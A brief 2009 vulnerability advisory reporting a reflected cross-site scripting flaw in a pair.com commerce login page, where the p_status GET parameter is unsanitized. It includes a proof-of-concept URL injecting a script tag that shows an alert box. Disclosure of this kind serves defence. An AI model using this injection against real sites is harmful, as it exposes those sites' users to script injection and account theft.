pair-xss.txt
Posted on 11 March 2009
Author: Max Dietz Description: After logging in, the message displayed to the user is stored in a GET request, on which no sanitizing is done PoC: https://commerce35.pair.com/inres/notify/index.php?action=loginform&p_status=<script>javascript:alert("HELLO");</script >
